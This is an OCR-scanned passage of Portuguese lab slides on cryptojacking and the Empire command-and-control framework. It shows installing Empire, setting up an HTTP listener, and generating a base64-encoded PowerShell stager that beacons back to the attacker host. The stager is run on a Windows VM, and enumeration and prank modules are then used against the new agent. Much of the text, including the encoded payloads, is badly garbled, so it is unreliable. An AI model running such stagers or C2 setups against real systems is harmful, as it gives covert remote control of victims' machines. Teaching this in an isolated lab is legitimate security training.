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Cryptojacking

Requisitos de LAB

* Virtualizador VMWare Workstation 15
« VM Windows 10

« VM Kali linux

« Conta no Blogger

« Conta no Coinimp
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Command & Control

Requisitos de LAB

* Virtualizador VMWare Workstation 15
« VM Windows 10

VM Kali linux

 Empire
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Instalacao Empire (Kali) via Github

- Escolher um diretorio qualquer (/opt)

- cd/opt

- gitclone https://github.com/BC-SECURITY/Empire.qit
- Cd/opt/

- Is

- cdsetup/

- Is

Jinstall.sh
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https://github.com/BC-SECURITY/Empire.git

Troubleshooting

Caso tenha problemas durante a instalacéo:

Instalac&o do pacote M2Crypto apt install python3-m2crypto
Executar ./install.sh

Executar manualmente o ./setup_database.py
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Executar o Empire

- cd /opt/Empire
- JJempire

Listener = Servidor/Atacante
Stager/Laucher = Vitima

‘ I)I
_______ H_II

302 modules currently loaded
1 listeners currently active

1 agents currently active

(Empire) > I
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Criando Listener

(Empire) > uselistener http

- Uselistener http (i i) >

Name: HTTP[S)

|
= I n fO Categury; client_server

Authors:
dharnjoy

Description:
Starts a http(s] listener (PowerShell or Python) that uses a

Set Name Llste nerl GET/POST approach,

HTTP(S] Options:

S et P O rt 8 O Name Required  Value Description

S et D efau ItD e |a 2 Nane Listenerd Nane for the Listener,
Host http://192,168.1.125:80 Hostnane/IP for staging,
BindIP 0.0.0.0 The IP to bind to on the control server,

set DefaultJitter 0.1 : e o e it

Launcher 1 powershell -noP -sta -w 1 -enc  Launcher string,
StagingKey Thue 7ddd68e771c61f336eb6dek53185c505 Staging key for initial agent negotiation,

Set Stagl n Key Se nha SeC reta (CO py haS h) Defaultdelay ~ True Agent delay/reach back interval (in seconds).

Defaultlitter  True 0.0 Jitter in agent reachback interval (0.0-1.0).

DefaultlostLinit True 60 Number of missed checkins before exiting

Set Stagl n Key has h (C O |ar haS h) DefaultProfile  True [adnin/get.php, /news.php, /login/ Default communication profile for the agent.

process. php|Mozilla/5.0 (Windows

NT 6.1; WOW64; Trident/7.0;
exeC Ute rv:ll.é) like'Gezlltoen

CertPath Certificate path for https listeners,
H KillDate Date for the listener to exit (MM/dd/yyyy).
mal n WorkingHours Hours for the agent to operate (09:00-17:00).
Headers Server:Microsoft-115/7.5 Headers for the control server,
. . . - P . . s Cookie tBLWAVYZcgUYA) Custom Cookie Name

N g S _/ POl ST 5N StagerURI URD for the stager, Must use /download/. Example: /download/stager.php

Useragent default User-agent string to use for the staging request (default, none, or other).
I I L I Proxy default Proxy to use for request (default, none, or other),
SEomGE S B A \ A A A ProxyCreds default Proxy credentials ([domain\]usernane:password) to use for request (default, none, or other).

" Ny ' N y N e s N lackToken Your SlackBot API token to communicate with your Slack instance.
T T T T I SlackChannel #general The Slack channel or DM that notifications will be sent to.



Criando Stager/Laucher

- Usestager multi/laucher

- Info

set Listener Listenerl
generate
Copy codigo em base64

Préoximo passo no Windows

) » set Listener Listenert
) > genrate
e S TAK MG ML TANG Ao BEBAch A ACADA L AMAM B AP M ABLACURG SRS AR
ACHAQB1AHOH B tAGEAGABAGEADgAUAFUACABAGHACWAACKALGALAECARQBIAEYRaQ8 AGRADABEACAKAANAGHAYQB AGEAZGBHAE cAcgB AU CABAGSADABpAGMAEBTAGUAGABEAGKADGBOAHNA WASACCATEARACSADBVAGUALAS AGTADABIAGMALAETAK
\ VAOAAZAD AN 7ACQANBAGLAMGASCCANGAADYANGALAE AROBOARYAQQB AL QROACCHD B LAGHADAADADSASBAC A AALAGYAZCHSAFSADVETAGHACBpAHANGABCAC AKOARAGUADYS AGSATABHAGAZWBpAGAADARAF QAR TACQAMCBEAGLANBOACCAU
DBSAGSATNBA AU AGcAa B UAGCADNBOAF S FACAAY S GHAZCETAWA ARAGABCAL ANhnAGuAD AGSATABVAGCAZVBpMGMADAnAF OAPCHADSAAAXAGYARASAF S TAGHAC g pAHARGABCACCAKWACAGUA DB AGSATABVAGE AL AGAAMAOAFMekn
(TADABLAFMRYByAGKACABOAE ABVAGHA 4B JAGAA GBVACHAYQBOAGKADNB AEKADWBAGCA BUAGCA B ADAMABSACIRN GEAAEAPQBAENA BN EXAZB AFCSQBPAE ADNAUAE CARQBONGUALBpAENALGBEAEKAQUBIAGKADWBOAGEALGBAF shcwblAFTASQBUAECALABTAFKACwBIAGY
A A g AKAADADSAJAB A EATAAUAEEARABAC A VB AGUA B AGHAZETACHAC o ARAADABCAL Ak AGSATAB G AN pAGAAD AACWANAADADSA JABHAE EADAAGAEEARABEACGA NBFGUA OB LAGHAZCRTAGWACGBoAHAAGABCAGRADHR JGASQ
BUAHYAD AGEAAB MG EAAGEAAADKADGBACCALAAWACKADIAKADEARFAD CAWAVAEASWBEAF AN VBUAESAWBBAE i NBAAEEAQHSTAEKAT g APuMBYAGYAGAB AGEAC 8 AFNAUABVAGUAA QS JKAZCBAFUATOSpAGMAC G VAHMADROAACALABAGKADGBRAGSAN ZAPMALABYARCALZQByA
| ABOAE TADNAPACCADABVAGHAEANGADWEAAGKADSACCAMAACORY A8 AEKALEFARSMNGTAENAL B pABANCABCAGEAT AEAXGALACTARNS LABQARGBOAEUAYVABMAGOR. hoiCchcwphGcAbgBAHOACE ACUACAMACKNBOACCAARMGALBCAHIA
A AN FHAROB0AFYAY AR 0ACAT gBYAGUADAASAC AT B LAHCALQSAG L Aa g ACNAYAAGAEHATEINAENAZQBOANORa 8 A CWAUAECZQBORUMC B AGHALGBAGEAUNBoAFMARBAAF UNLAKTAZ BukGcAN ApACKATCHAFARGRRADUAWBSAGUARGH
ATABSACAARYS LABAVABAHAAZQAACCAISAHNAGABAGRALgBUAGEADgBAAGCAZS tACUADBACAAS APCAbNB tAGEAGABOAGSADGAUAEEADBAGKANAPACCAYQBAGKADABACCAKCAACAU g AEYALBRAEUAGABGAGKAROB S AGQRKAAMAGEADQSAGASUBUAGKABABGAC
1AM CAHUAYg5AKA ok AFNAGABAAQHa 08 ACCAKALAFMARGSAFYAKJEMAFUAR AoACAD B LAGUADAASACQNAByAFUARCHADSAFCATAF NS ZAFNATAREAE AL GBOAGUAGAALAPHAZOBSAHYA2BOREALABAEKAT BOAEAQQROAGEARMBEAFAXCAEADOAR
A A DA QA A A A OAMAAAC AR gASA AL AR AC AT CAE L8 AMALABTAHKAN AGUATCAUAEARQBUACAAVYE LAGAQWBAGKARQONHADWAKAHUAPQAMAEADUBSAGKADABS AGEALWALACAAMAAGACEABDAGAAZABYVAHCACWAGAE AYAAGADYALAX
ADSATABHAE AV WAZADCADNAGAF 8 B pAGCAZQBUAQALWASACKANANTACARC g8 ADOMMALACARNANDACAABABDAGSAZQAGAECAZOB G ADuANADAJAG ACUAC gAOACCAKABDAF QARBAAFOLGBFAE A AYEPAGOASOBONGEANQHADOAYQB AGKAQHEPAGOARCAUAE CALQBUAFNAYABSAE AT gBHACAINBOAES
ATEAGUAC AP OADAGAEYAc YA A ARNAL A AP A2 B UAE AKAAAGEA B CADAAB AP A AEEAQ A EAQOAANEEATAB AL A BAE A2 BAE v ARUAQOB EAEUABONGCAUABAEEAQNAAEEATGBRAEEABBBAEARQS A OALVBBADEAQUBEAGSACKBPAEEAQBIAEEAY
ASAOAADADACKAKCQAACAGASACCALWBAGSALY3AGAAL WA IADHS UMW 2ACKACAB AN ATACCARgASAOCARAUAEGAZQBAAGOAROSyAFNAL A ARAACACCAQB 2AGUAC gACAE EATYS LAGAAGAAACUA B ACKADGAKAEYAOARAGUAL BCMATATHEYAFKAPOBOAFNAYGRTARQAZOBRACKATGBLA
AL AEUAgHSACUMLSYAEUA WA ADAGAEARQBGAE EAVOEMAHCA V8 AEAUARYAE AeAB 2ADSAJABGADKANAR ACKALABYAGSANASACAQWBAGUARARFAGUAGHB pAEEATABACAAPOAGAF SR LAFMAVAR AEAL EOAEUAGAAUAENAC B LAECHRQBOANAaBAAGHAQNBRAGHSAS AFAACGABAECA
ACBAMGEAGQB AT g7 AA W PANASWEON AROS EACUA 5 AEKAY B ATHATAKAFNAYNA A CAB 0ADOAAR AGSACAS ACAAPOAGACOALgASADCAZCAUAE ARG AHGAGCHACOASWASAE M SAFNAVAR LA OALUAGUAGABIACAARQBAGHADYBIAELATgBAFOAOGAGAEEAUNBOAE ASQAUAE AR
IUALm AN AR ZAAADAL 3D A A AN 0AD g MAAGUA GA2ACCALQAADUAMACADGANE ADUANAALACAXCATACALAS S AJABEACKAJABLADAA JABBAF ARYS 2ADS A JABTADOAWAAUACUAMEALADUAONARACAALGAYADUANCBACUAEAKAEOAPOAOACOASGAACORLNBAC
MDA AU AR QA D AN 2ADSAJAB AR A AP ALAAKAFMAIAKAE O HAC AN ACOAS B ACKAJARTAF A8 AT QN TACOARAB AU WAKAEKAPAOCQASOAPADEAK QA AD TANAZADSAJABTADBAKARKAEGAKWAKAFMAMAKAEKAI HOACLAN
A QA A AR A8 AL AARAF A AE KA A0 A AcABPAH A JABTAP A KAACAFNAMGAKAE AN ACC M BOACCHSABAACKA N ADUARGBAOATACOHRGASAOCARQAUAEEAZGBRAE ALOBAPVALGBBAGOARMGACTAQWB VAGBAEy
A A8 AHA DV AP0 DAY AHOALAUAGAB DAHEALQA A QALMBADRACCAAFA A 3AGKARYEAE AN AE OAPOAACKAhAAE QHQBUAEEAPQAKAEYADCABAEUALGBEAGSA AE A bwBBAECHRAEEAHCMOACTH o AF AAKAQAKCATACOHSQ82A00
M AGEAVABEAP S ANAAAC A A EAGEACABADDA A EAEEACHBAAF SAMAALACUAAB AGEAVAEACAATAB AGAARYBAGEAN QA TACAR BYAGKATgBAENASABAF AN AFOAKAABACAAJAESACA ABEAGEACABRACAAKMAKAEKAYGATACOASIABACKATAB ) E&Wﬂ
(Eapire: il




Windows Ativando Stager/Laucher

Como nao estamos utilizando
um metasploit entao R L
COIO re mOS O Cédigo em PS C:\User‘s_\supor‘te> powershell 1 SQBmACgAJABQAFMAVEBFAHIACWBIAG8AbgBUAEEAQgBSAGUALgBOAFMAVEBIAFTAUWBES

JAG8AbgAUAEQAQQBKAESACEAZACOAZWBFACAAMWAPAHSAIAA2ADZANEA2ADOANWBYAEUAZZBAACAAQQB ZAFMAZOBNAE TADABZACAARWBFAHQAVABSAHAARQA
OACCAUNBSAHMAGAB1AGOAL gBNAGEAbEBhAGCAZQBAGUAbEBOACAAQQBIAHQAbWB tAGEAJABPAGBAbE AUAFUAGABPAGWACWANACKAL A1 AECARQBOAEYAAQH

baseG4 d|retame nte no 1AGAAbABEACTAKAANAGMAY A7OBkAEcAch /AHUACABOAGE AbABuAGfV—\eOBTA(UAdABeAGkAbanAHrLM\-JAsACLATgAnALsA]nBvAGdAUABlAGIAbAB
PAGHALABTAHQAYQBBAGKAYWARACKADKE gALAECARDBOAEYAQOE SAHUAZQAOACOAb B,
h " d W d 1AGWAbAApADSASQBmACEAI AAXAGY. vAGCAZWBpAGAAZWANAFBAKQB7ACQAM
powersne (0) INAOWS AUBIAHTAZQBM 3AYWECAEN 6 WAz aBpAHAAGABEACCA
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Stager/Laucher Ativo (Kali)

(Empire: ) > set Listener Listenerl

(Empire: ) > generate

powershell -noP -sta -w 1 -enc SQBmACGAJABQAFMAVgBFAHIACWBJAGBAbgBUAEEAQgBSAGUALEBQAFMAVEBLAFIAUWBJAGBADGAUAEOAQQBKAEBACEAGACOAZWBFACAAMWADAHSAJAA2ADGANGA2ADOAWWBYAEUAZgBAACAAQQBZAFMAZOBNAE TADABZACAARWBFAHQAVABSAHAARQAOACCAUWBSAHMAGAB
1AGOALgBNAGEAbgBhAGCAZQBAGUAbEBOACAAQQB1AHQAbWBtAGEAJABPAGBAbZAUAFUAdABPAGWACWANACKALGAIAE CARQBOAEYAZQBAGAADABEACTAKAANAGMAYQB JAGEAZQBKAE cAcgBVAHUACABQAGBAbABPAGMAeQBTAGUAJABOAGKADgBNAHMAIWASACCATGANACSAJWBVAGAAUABIAGIADABPAGMALABTAH
QAYQBOAGKAYWANACKAOWB JAGYAKAAKADYAOAA2ADYAKQB7ACQAMQBmAGUANWAIACQANgALADYANGAUAE CARQBOAFYAQQBSAHUAZQAOACQAbEBIAGWADAAPADSASQBMACEA JAAXAGYAZQA3AF SAJWBTAGMAC gBpAHAAJABCACCAKWANAGWAbWE JAGSATABVAGCAZWBPAGAAZWANAF OAKQB7ACQAMQBGAGUANWBDACCAU
WB JAHIA2QBWAHQAQEANACSAIWBSAGBAYWBIAEWAbWBNAGCAZQBUAGCAIWBAAFSAJWBFAGAAYQB1AGWAZQBTAGMACBPAHAAABCACCAKWANAGWADWB JAGSATABVAGCAZWBPAG4AZWANAFOAPQAWADSAJAAXAGYARQAIAF SAJWBTAGMACgBPAHAAJABCACCAKWANAGWAbWB JAGSATABVAGCAZWBPAGAAZWANAF OAWWAN
AEUAbgBhAGIADABTAFMAYwBYAGKACABOAETADABVAGMAAWB JAG4AdZBVAGMAYQBOAGKAbWBUAEWAbWBNAGCAAQBUAGCAWBAADOAMABIACQAV gBHAEWAPQBDAEMAbWBMAEWAZQB jAFQASQBPAE 4AUWAUAE CARQBOAGUAUGBPAEMAL gBEAEKAQWBOAGKAbWBOAGEAUgBSAF SACWBUAFIAaQBUAECALABTAFKACWBOAGU
ATQAUAEBAYgBKAGUAYwBUAFOAXQA6ADOADBFAF CAKAAADSAJAB2AEEATAAUAE EARABKACEA JWBFAGAAY(QB1AGWAZQBTAGMACEZBPAHAAJABCACCAKWANAGWADWB JAGSATABVAGCAZWBPAGAAZWANACWAMAADADSAJABWAE EADAAUAE EARABEACEAJWBFAGAAY(QBIAGWAZQBTAGMACBPAHAAGABCAGWADWB JAGSASQ
BuAHYAbwB JAGEAABPAGBADEBMAGBAZwBNAGKAbZBNACCALAAWACKAOWAKADEAREBFADCAWWANAEGASWBFAFKAXWBMAESAQWBBAEWAXWBNAE EAQWBIAEKATgBFAFWAUWBVAGYAdAB3AGEACEBTAFWAUABVAGWAAQB JAGKAZQBZAFWATQBpAGMACEBVAHMAbWBMAHQAXABXAGKADgBKAGBAdWB ZAFWAUABVAHCAZQBYA
FMAQABTAGWADABCAFMAYwBYAGKACABOAETAJWArACCAbABVAGMAWBMAGBAZwBNAGKAbZBNACCAXQAIACQAVEBhAGHATQBFAEWAUWBFAHSAWWBTAEMAUGBPAHAAABCAGWATWB JAE SAXQAUACTARWB1AHQARGBPAEUAYABMAGQAIgAACCACWBPAGCAbgBhAHQAQBYAGUACWANACWAJWBOACCAKWANAGBADgBQAHUA
YgBSAGKAYwASAFMAdABhAHQAQQB jACCAKQAUAFMARQBOAFYAYQBSAHUAZQAOACQATgBVAGWADAASACEATEBAHCALQBPAGIAgBFAEMAVAAGAEMATWBMAEWAZQBDAHQAQBPAGAACWAUAE CAZQBOAGUACEB JAGMAL gBIAGEAUWBOAFMARQBOAF SAUWBUAHIAQBUAGCAXQAPACKAFQAKAFTARQBRADOAWWBSAGUARGB
dAC4AQQBTAHMARQBAGIATABSAC4ARWBTAHQAVABZAHAAZQAOACCAUWBSAHMAJABTAGOALgBNAGEADBhAGCAZQBLAGUADEBOACAAQQBIAHQADWBtAGEAdABPAGBADGAUAEEADQBZAGKA JIWATACCAVQBOAGKADABZACCAKQATACQAUGBLAEYALgBHAEUAABGAGKARQBSAGQAKAANAGEADQBZAGKASQBUAGKAJABGAC
CAKWANAGEAQQBSAGUAZAANACWAJWBOAGBAbgGBQAHUAYgBSAGKAYwASAFMAJABhAHQAAQB JACCAKQAUAFMARQBUAFYAQQBMAFUARQAOACQAbgB1AGWADAASACQAdABYAFUARQAPADSATQA7AF SAUWBZAFMAJABFAE 0ALgBOAGUAJAAUAFMAZQBSAHYAAQBDAEUAUABVAEKAT gBOAE 0AQQBOAGEARWBFAF TAXQAGADOAR
(QBYAFAAZQBDAHQAMQAWADAAQWBPAE 4AdABPAE4AVQBFADBAMAA7ACQARGASADQARQAIAE 4ARQB3ACOATWBCAE0AZQB JAHQATABTAHKAUWBOAGUATQAUAE4ARQBUACAAVWBTAGIAQwBSAGKARQBOAHQAOWAKAHUAPQANAE BAbWBGAGKADABSAGEALWAIACAAMAAGACGAVWBPAGAAZABVAHCACWAGAEAAVAAGADYAL gAX
ADSATABXAEBAVWA2ADQAOWAZAFQACEBPAGQAZQBUAHQALWA3ACAAMAATACAACEB2ADOAMQAXACAAMAADACAADABPAGSAZQAGAE CAZQB JAGSAbWANADSAJABZAGUACEAIACQAKABDAFQARQBAAFQALEBFAE 4AYWBPAGQASQBOAGCAXQAGADOAVQBUAGKAQWBPAGQARQAUAE CAZQBUAFMAVABSAEKATEBHACGAMWBDAES
ATgBWAGUACgBUAFOAOGAGAEYACEBVAE0AQEBBAHMAZQA2ADQAUWBUAF TAaQBUAE CAKAANAGEAQQBCADAAQQBIAFEAQQB JAEEAQQA2AE EAQWALAEEATAB3IAEEAeABBAEQAAWBBAE 0AZwBBAHUAQQBEAEUAQQBOAGCAQQAGAE EAQWADAE EATQBRAE EAGQBBAEQARQBBAE 0AZWBBADEAQQBEAGBAQQBPAEEAQQB3AEEAQQ
A9ADOAIWAPACKAKQATACQAdAAIACCALWBSAGBAZWBPAGAALWBWAHTADWS JAGUACWBZACACABOAHAA JWATACQARGASADQARQAUAEGAZQBHAGQARQBYAFMALgBBAEQARAAOACCAVQBZAGUACEAtAEEAZWBAG4AAANACWAJABIACKAOWAKAEYAOQABAGUAL gBQAHIATWBYAFKAPQBbAFMAWQBTAHQAZQBACAATEBA
FQALgBXAEUAQgBSAGUAUQBVAEUACWBOAFOAOGAGAEQARQBGAEEAVQBMAHQAVWB LAE TAUABYAEBA@ABZADSA JABGADKANABTACAAUABYAGBAWABSACAAQWBYAGUARABFAG4AJABPAEEATABZACAAPQAGAF SAUWBZAHMAVABFAEQALgBOAEUAdAAUAEMACEB1AEQARQBOAHQAAQBhAGWAQWBHAGMASABLAFOAOZAGAEQA
RQBMAGEAdQBSAHQATgBFAHQAVWBPAHIASWBDAFTARQBEAGUAbgBOAEKAYQBSAFMAOWAKAFMAYWBYAGKACABOADOAUABYAGBAeABSACAAPQAGACQAZGASADQAZQAUAFAACEBVAHGACQATACQASWAIAF SAUWBSAFMAVABLAEOAL gBUAGUACABRBACAARQBUAGMAbWBKAEKATEBNAFOAOZAGAE EAUWBDAEKASQAUAECARQB
UAETAeQBOAEUACWAOACCANWBKAGQAZAA2ADGAZQA3ADCAMQB JADYAMQBMADZAMWA2AGUAYgA2AGQAZQAGADUAMWAXADGANQB JADUAMAAACCAKQATACQAUGAIAHSAJABEACWAJABLADBAJABBAF TARWB ZADSA JABTADOAMAAUACAAMZATADUAOWAWACAALgAYADUANQBBACUAeWAKAE0APQAOACQASGATACQAUWBDAC
QAXwBAACSAJABLAFSAJABFACUAJABLACAAQWBPAFUAbZBUAFOAKQALADIANQA2ADSAJABTAF SAJABFAFOALAAKAFMAWWAKAE0AXQA9ACQAUWBDACQASBAACWAJABTAFSAJABFAFOAFQA7ACQARABBACUAeWAKAEKAPQAOACQASQATADEAKQATADIANQA2ADSAJABIADOAKAAKAE GAKWAKAFMAWWAKAEKAXQAPACUAM
GATADYAOWAKAFMAWWAKAE KAXQASACQAUWBDACQASABAAD@AJABTAF SAJABIAFOALAAKAFMAWWAKAEKAXQA7ACQAXWAAGIAeABPAHIAJABTAF SAKAAKAFMAWWAKAEKAXQArACQAUWBDACQASABAACKAJQAYADUANgBAAHOAFQA7ACQARGASADQARQAUAEGAZQBAEQAZQBYAFMALEBBAGQARAAOACTAQWBVAGBAaWBp
AGUAIgASACTAJABCAEWAAWBBAFYAeQBaAGMAZWBXAFKAQQBGADOAVQB3AHQAJQA2AHUAdAB2AHEAUQATAEQAUABGADAAOQAXAHUAVWAIAGKARWBFAEYANgB1AEOAPQATACKAOWAKAEQAQQBUAE EAPQAKAE YAOQAGAEUALBEAGBAdWBUAEWAbWBBAEQARABBAHQAQQAOACQACWBTAF TAKWAKAHQAKQAACQASQB2ADO
AJABKAGEAVABBAF SAMAAUAC4AMWBAADSAJABEAGEAJABhADOAJABEAEEAJABRAF SANAAUACAAJABKAGEAVABACAATABFAGAARWBOAGEAXQATACOAagBVAGKATEBDAEMASABhAF TAWWBAAFOAKAAMACAA JABSACAA JABEAGEAJABRACAAKAAKAEKAVEArACQASWAPACKAFABJAEUAWAA=

(Empire: ) >

+] Initial agent KNEYMSR? from 192,168.1,124 now active (Slack)
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Stager/Laucher Ativo (Kali)

({aplre: J > st Lstener Listener

(Eapdre: ) gonrate

e «neP =5t 4 1 «enc - BoACGAJABCHFHAY AR DAy GEADEUAE EAQAGUAL OAFNAY LA A AGEADAUAENQQBKAE A A ghCONZWBEACAMMADARSADAADADANAADANAEUNLGBOACAACOB APNAZQSIAE ABABIACHARNBFARQAVABSABAARGHoACCAVBSAMMACAR
TAGOALgAMGEAD1AGAZ0AUADACYAB A EAABAGEAD A FUAAB WA CAL A AE AR 0AEYA 8 AGAABAREACTAMAMAGHAYG JAGOALCBAEchegBARACABCAGOAM A GMAAQSTAGUACABAGADGARNADASACATACSABVAGULAB AGLACABOAHALABTAH
(Y AA A JAGAKAMADADMAAYA A8t AP DY AN M€ A Y8R A0 AWAAADADSHS B CAAADAGHAHDAFAITAGHA i ABAAGABCACAKAAGOADA AGSATABVAGADY AGADAMAFDAKQ TACCANQBGACUAIACCAU
A TARDANAQAMACSAIBSAGSAYVB AEVADBIAGAI QB UAGCAIVBP AV FAGAN B AHALBTACHACqBoAHAAABCAC A0 CATABYAG AL GAALAADAFOAPQHMADSADAASAGYAROASAEATAGHA o ABAABARCACANAMGADI AGSATABVAGCADYBpAGADAMAFOAAR
DA A AP AGACA A A AU A YN WA H AP0 EAAD A ENA L FCHSAEGANAAECARHOAGUA oML EAEAQNBACADABOAGEAUGBSA A AaQRUAECALABTAFKACHAC
A A1 HAD g A A ADSAAG A EATAAAEEARABAACA NV AGAYBABWAZGTAOUA A ABCACNAHAD 64 TABAGAH4ADAACKAVAHDSAIABHAEEADAAEEARABEACEA NBEAGN B AGNALGRTAGHA ghARAAIABCAGuADABAGAS)
A B A0 AN LA ADEAR A AMNA A WA A A AE A TAE AT AP WA AGYACABAGEA g APUAABAGuAa QB AGKAZQRAPATOBp Mg AFMADNBnAHQABYACKADBRAGA B AFHALABYAHCAL(By A
FHNABHAEABAPHAYYByEKACHBAEAWAACHLABYAGHNBANGEAZW0AGCAD A CANHSACOR Ao AE G EARSAMTAEAALGSoABAACARCAGUATV AESXCALACTARYB ARARGBAEUAVABUAGO! ghoCcAcnp ARS8y A A BOACCAKhndGEAbgBOAHIA
A A AN A A AN AT AL AN AR A AN AN 0RO AG4A AN 8 AGHALAGEA oA PMARS AF LA TARCB AGAAPACKATQAAF ARRADAINSACARG
A0 TANAB A TATARACHARY A VA Ao AN AL AN GEAD A CAZ AU g 0A AP A A A AGEADGAUAEEADS 2AGAoAAC VB AGADASACEAAACCHU B AEVALBAEUAABEAGARQRACMKAADAGEADBAGKASQR AGAGRBGAC
A A M0 A AN AU UAROA0 A AGoADAASACOACA A FUARAOSATQATAF AN ZAPIACABEAEOAL GBOACAGAAAAZ OB YA QBMEUALABVAEKAT B AEAQOBAGEARNBFAF AN HEADoAR
A A A A A A A AT A AWM TP A AU LA A AR AHAPQAAE AP GAGADABSAGEALATACRAMMAGAC A MAGAZABVARCACAGAE AVMAGAOAL g
A TADAESAA A OUAGAF QAR A8 A 0B AR AF AL AE A PAGOAS A AGADOAYC AGANBPAGHRAUAE AZORAPATABSAEKAT AC AMBOAES
A A gAAE A A A A AP DA A A EATA DA A0 GeQAOAE EAQuAAEEATORRAECAGORBAEQARCBAEDAZVRBADEAQOBEAGBAQOBPAEEAQOBAEEAQ)
ASADADVAPACKAKQATA GAGMASACCALYRAGA oA A A 1AM A AL A6 HRAA A0 A AT LAGAAAADACHADAGACKADOACAEFADAAGUAL A TATKBVAFAPQR APHARGTARQALOBACWT B A
PO A SAUAQBVAEUA A A AEHRBGAEEAYSAHF 8 AE LAy A A 2ADSAABAOKAALACHA ARy G EANABSACAryAARABEAGHAHB A EATAD2ACAAPHgAF W AFNAVAGEAECAL OAEUATAAUAEHA g AECHRBOMHQa A GUAQUBRAGHKSHSAFAOGASAEQA
DA AT A A EAH0AF AU A A AFNAONAKATHAY A A BOAD BB A ACAAPOA O A AN VA TAC A WA AFONBSAFHAVABLAEOALGBUAGUAABACARQS AGMADBKAEKATgAFAOGAGAEEAIMADAEKASQRAE ARG
U A0 A AC AN ZANDA AR ADCASAANolAMAACUAY AN ADUAMAAOGANOAAMAAACCAK A gAAHSAABEACHAABLADUAJAGAFARYS DA ATADAWAAUACEANAADUAOVAVACAAL A DUANBEACUAGAAEOAPOABACOASAPACQAVBOAC
BOACSAJABLAFSAJABEACUAJA LA A AN A A A AP AL A AP WA A CAARTAF A AFOA A ACOARABEACUA A E AP CCASAADEAKGAAD ANCAADSAJA TADOAKMAKAE WA PIAAAEKA A CUM
AN AT MDA LA A€ A0 AtAAEADAGTAE AAAFMAMAAE KA PAC AN ACOASABOACKA X ADUARGBAMOAFQATACARGAS DR QAEGAZOBAEC08yAFHALgBAGARAOACAQWBvAG8Kartp
AL GASATAGAR AU A A A A8 A A0 AN AP AU APHRAE AL AGSADH0AE oADABBAEARASGARCAGAOAC Qe LAFAAKARAKATACQASQR 00
A A A A A A A A A MO A TA A M A AN AT EAASAGAF A A OAAADCAADARSACAADAREAGEACABACAMCAMAEKAYAPACOAS WADACKATAB A

({aplre: ))

] niia agnt OBV rom £9,168.800 no active (Slack)

Para voltar no inicio main

[Empire] Post-Exploitation Framework

[Version] 3.3.1 BC-Security Fork | [Web] https://github. con/BC-SECURITY/Enpire

[Starkiller] Multi-User GUI | [Web] https://github.con/BC-SECURTTY/Starkiller

v e EESS )
N Y S BB BRI
= b ) /i &
S L=
302 modules currently loaded
1 listeners currently active
1 agents currently active
(Empire) > agents
Name  La Internal IP  Machine Name Username Process PID  Delay
KNEYMSR? ps 192.168.1.124  WIN1O WIN10\suporte powershell 386 2/0.1

(Empire: ) >

(Empire: y

Last Seen Listener

2020-08-03 00:22:29 Listenerl



Exploracao/Interacao com o Stager/Laucher(Kali)

agents

info

interact (Nome do agent)

interact KNEYM5R7

usemodule (modulo de exploracao)

usermodule situational awareness/host/winenum

(Empire: ) > info

I n fo Name: Invoke-WinEnum

Module: powershell/situational_awareness/host/winenum

exeC u te NeedsAdmlnj :ill“s?e

Language: powershell
MinLanguageVersion: 2
Background: True
OutputExtension: None

Authors:
axorrior

Description:
Collects revelant information about a host and the current
user context.

Comments:

https://github.com/xorrior/RandomPS-
Scripts/blob/master/Invoke-WindowsEnum.ps1

Options:
° . » . . ° a_ 8 Name Required Value Description
e g TR o £ i3 o \\1 < // o Y e & ZESTEN AT AR a0
Y . ¢ Agent True KNEYMS5R7 Agent to run module on.
‘ Keywords False Array of keywords to use in file
- - - A . Pt searches.

P 2 e W b W W . S e M B UserName False UserName to enumerate. Defaults to the

T T, Ny ' \T/ " \Ts o v T current user context.



Exploracao/Interacao com o Stager/Laucher(Kali)

- main

- agents

- info

- interact (Nome do agent)

- interact KNEYM5R7

- usemodule (modulo de exploracao)

- usermodule situational _awareness/host/winenum
- info

- execute

- Para sair do modulo back

SOOOUSSSNSOUN SO U 1



Exploracao/Interacao com o Stager/Laucher(Kali)

(mpie? R7) >us§modﬁerollsploit/rick_ascii
(Empire: ) > info
mal n Name: Invoke-RickASCII .y B
Module: powershell/trollsploit/rick _ascii
NeedsAdmin: False
ag en tS OpsecSafe:
. Language: powershell
N fo MinLanguageVersion: §
Background: False
i n teract (N O me do age nt) OutputExtension: None
. Authors:
Interact KNEYMS5R 7 e folaes

dharmjoy

usemodule (modulo de exploracao) —

Spawns a a new powershell.exe process that runs Lee Holmes'

usermodule trollsploit/rick_ascii ISCIT Rk Ral.

H C H
I n fO om::fj/w.leeholmes.com/blog/zol1/0A/01/powershe11-and-
html5/
exeCU te Options:
Para Salr dO mOdUIO baCk Name Required  Value Description
Agent True KNEYMSR?
o e ol il ol o ot o | ol e e e il ol colle sl golly cIsco. ¥



Exploracao/interacao com o Stager/Laucher(Windows)

EX Windows PowerShell

QQQ#######0QQCACQAAH# #E###HQ

91959508 = 3 ¥3/9"3°3/9°9):3 =

AR W B ROR R A s KON, R
LrrT T

5 | RRQQ#QQAFH###+++ #H#QQQ## ++ ' " "#F#RFRFH 2
;' #FFFHQQQQHF# + +#QOQQQQQHH+ ' T #ERFHFE
; H+RRR R L+ #F -+ #QQQQQQQQAAH#H#QQHF#H#H " - -

S
Clsco  sansource

or ESC tT ouit | j
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